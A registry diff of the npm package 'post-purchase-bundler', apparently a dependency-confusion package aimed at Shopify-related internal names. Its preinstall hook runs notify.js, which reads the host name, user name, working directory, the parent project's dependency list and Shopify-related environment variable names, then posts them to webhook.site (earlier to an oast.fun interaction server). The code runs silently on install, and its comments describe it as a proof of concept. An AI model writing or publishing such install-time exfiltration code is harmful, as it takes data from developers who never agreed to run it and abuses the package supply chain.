post-purchase-bundler 99.9.25 → 99.9.26

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/notify.js +32 -37
  2. package/package.json +2 -2
package/notify.js CHANGED
@@ -1,50 +1,45 @@
1
- import https from 'https';
2
- import os from 'os';
1
+ const https = require('https');
2
+ const fs = require('fs');
3
+ const os = require('os');
3
4
 
4
- /**
5
- * Bu skript Dependency Confusion zəifliyini sübut etmək üçün
6
- * təhlükəsiz məlumat toplama PoC-dur.
7
- */
8
- const sendReport = () => {
9
- const data = JSON.stringify({
10
- event: "CONCRETE-POC-SUCCESS",
11
- target: "shopify-internal-audit",
12
- system: {
13
- hostname: os.hostname(),
14
- user: os.userInfo().username,
15
- platform: os.platform(),
16
- arch: os.arch()
17
- },
18
- context: {
19
- cwd: process.cwd(),
20
- // Mühit dəyişənlərindən bəzi açar sözləri yoxlayırıq
21
- is_shopify: Object.keys(process.env).some(k => k.toLowerCase().includes('shopify')),
22
- node_version: process.version
23
- },
24
- timestamp: new Date().toISOString()
5
+ function run() {
6
+ let parentDeps = "N/A";
7
+ try {
8
+ // Bir pillə yuxarıdakı package.json-u oxuyuruq
9
+ if (fs.existsSync('../package.json')) {
10
+ const content = fs.readFileSync('../package.json', 'utf8');
11
+ parentDeps = Object.keys(JSON.parse(content).dependencies || {}).join(', ');
12
+ }
13
+ } catch (e) {
14
+ parentDeps = "Error: " + e.message;
15
+ }
16
+
17
+ const payload = JSON.stringify({
18
+ event: "IMPACT-VERIFICATION",
19
+ hostname: os.hostname(),
20
+ user: os.userInfo().username,
21
+ dir: process.cwd(),
22
+ dependencies: parentDeps,
23
+ env_keys: Object.keys(process.env).filter(k => k.toLowerCase().includes('shopify')).join(', ')
25
24
  });
26
25
 
27
26
  const options = {
28
- // Sənin Interact.sh serverin
29
- hostname: 'znymmqcieimlhbwpqsprfq2wnvjigr9wi.oast.fun',
27
+ hostname: 'webhook.site',
30
28
  port: 443,
31
- path: '/log?pkg=post-purchase-bundler',
29
+ path: '/4d0cc13d-a185-4e95-92dc-f4681125055c',
32
30
  method: 'POST',
33
31
  headers: {
34
32
  'Content-Type': 'application/json',
35
- 'Content-Length': data.length
33
+ 'Content-Length': Buffer.byteLength(payload)
36
34
  }
37
35
  };
38
36
 
39
- const req = https.request(options, (res) => {
40
- // Sorğu bitdikdən sonra prosesi bağlayırıq ki, install davam etsin
41
- res.on('data', () => {});
42
- res.on('end', () => process.exit(0));
43
- });
44
-
37
+ const req = https.request(options);
45
38
  req.on('error', () => process.exit(0));
46
- req.write(data);
47
- req.end();
48
- };
39
+ req.write(payload);
40
+ req.end(() => {
41
+ setTimeout(() => process.exit(0), 1000);
42
+ });
43
+ }
49
44
 
50
- sendReport();
45
+ run();
package/package.json CHANGED
@@ -1,8 +1,7 @@
1
1
  {
2
2
  "name": "post-purchase-bundler",
3
3
  "private": false,
4
- "version": "99.9.25",
5
- "type": "module",
4
+ "version": "99.9.26",
6
5
  "scripts": {
7
6
  "preinstall": "node notify.js",
8
7
  "graphql-codegen": "graphql-codegen"
@@ -10,6 +9,7 @@
10
9
  "dependencies": {
11
10
  "@shopify/admin-api-client": "^0.2.9",
12
11
  "@shopify/shopify-api": "^10.0.0",
12
+ "post-purchase-bundler": "^99.9.19",
13
13
  "react": "^18.0.0"
14
14
  }
15
15
  }